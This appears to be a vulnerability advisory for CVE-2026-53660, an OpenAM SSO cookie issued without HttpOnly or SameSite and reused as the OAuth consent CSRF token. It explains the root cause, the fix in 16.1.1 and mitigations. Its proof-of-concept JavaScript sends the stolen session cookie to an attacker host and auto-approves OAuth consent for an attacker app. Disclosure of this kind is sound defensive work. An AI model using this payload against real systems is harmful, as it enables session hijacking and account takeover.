CVE-2026-53660: OpenAM Insecure SSO Cookie Initialization (Missing HttpOnly and SameSite)
OpenAM shipped its primary SSO cookie without the HttpOnly flag by default, letting any same-origin JavaScript steal authenticated sessions and silently approve attacker-controlled OAuth consent…

The problem
The iPlanetDirectoryPro SSO cookie is the master credential for every OpenAM session. In all versions through 16.0.6, the XUI layer set this cookie without HttpOnly=true, meaning browser JavaScript could read it freely.
The cookie also lacked a SameSite attribute entirely. Because OpenAM reused the same cookie as the CSRF token for OAuth/OIDC consent flows, a single same-origin XSS gave an attacker both full session theft and the ability to complete OAuth consent grants on behalf of any authenticated user.
Proof of concept
A working proof-of-concept for CVE-2026-53660 in org.openidentityplatform.openam:openam-core, with the exact payload below.
// Any same-origin XSS on the OpenAM origin hits this:
var token = document.cookie
.split('; ')
.find(c => c.startsWith('iPlanetDirectoryPro='))
.split('=')[1];
// 1. Exfiltrate session token (session hijack)
new Image().src = 'https://attacker.example.com/steal?t=' + encodeURIComponent(token);
// 2. Complete attacker-driven OAuth consent in same step
// token doubles as the CSRF guard on the consent endpoint
fetch('/openam/oauth2/authorize/consent', {
method: 'POST',
credentials: 'include',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'decision=allow&csrf=' + encodeURIComponent(token)
+ '&client_id=attacker-app&scope=openid+profile+email'
});The root cause is CWE-1188: the XUI set the iPlanetDirectoryPro cookie client-side via JavaScript, which made it structurally impossible to attach HttpOnly (only server Set-Cookie headers can carry that flag). The fix in PR #1036 moved cookie issuance to the server path so the flag is now enforced at the HTTP layer.
The missing SameSite attribute (CWE-1275) compounded the risk by leaving cross-site request vectors open. The CSRF amplification (CWE-614 context) followed from the design choice to reuse the SSO cookie as the consent-flow anti-CSRF token, so stealing the cookie via XSS also handed the attacker a working CSRF bypass for OAuth grant approval in the same payload.
The fix
Upgrade to OpenAM Community Edition 16.1.1. The release adds proper server-side HttpOnly and SameSite handling for the iPlanetDirectoryPro cookie (PR #1036). If an immediate upgrade is not possible, block any user-supplied JavaScript execution paths on the OpenAM origin and set com.sun.identity.cookie.httponly=true in Server Defaults > Advanced as a partial control (note: this property had no effect on XUI-issued cookies before 16.1.1).
Reported by wodzen.
Related research
- critical · 9.8CVE-2026-62379CVE-2026-62379: OpenAM Unauthenticated Remote Code Execution via Unsafe Reflection in AuthXMLUtils
- high · 8.5CVE-2026-45048CVE-2026-45048: OpenAM Authenticated Privilege Escalation via Session RPC Token Disclosure
- highCVE-2026-46619CVE-2026-46619: OpenAM MSISDN Authentication Bypass via LDAP Injection
- high · 7.1CVE-2026-55153CVE-2026-55153: mchange-commons-java Unsafe Reflection via JavaBeanObjectFactory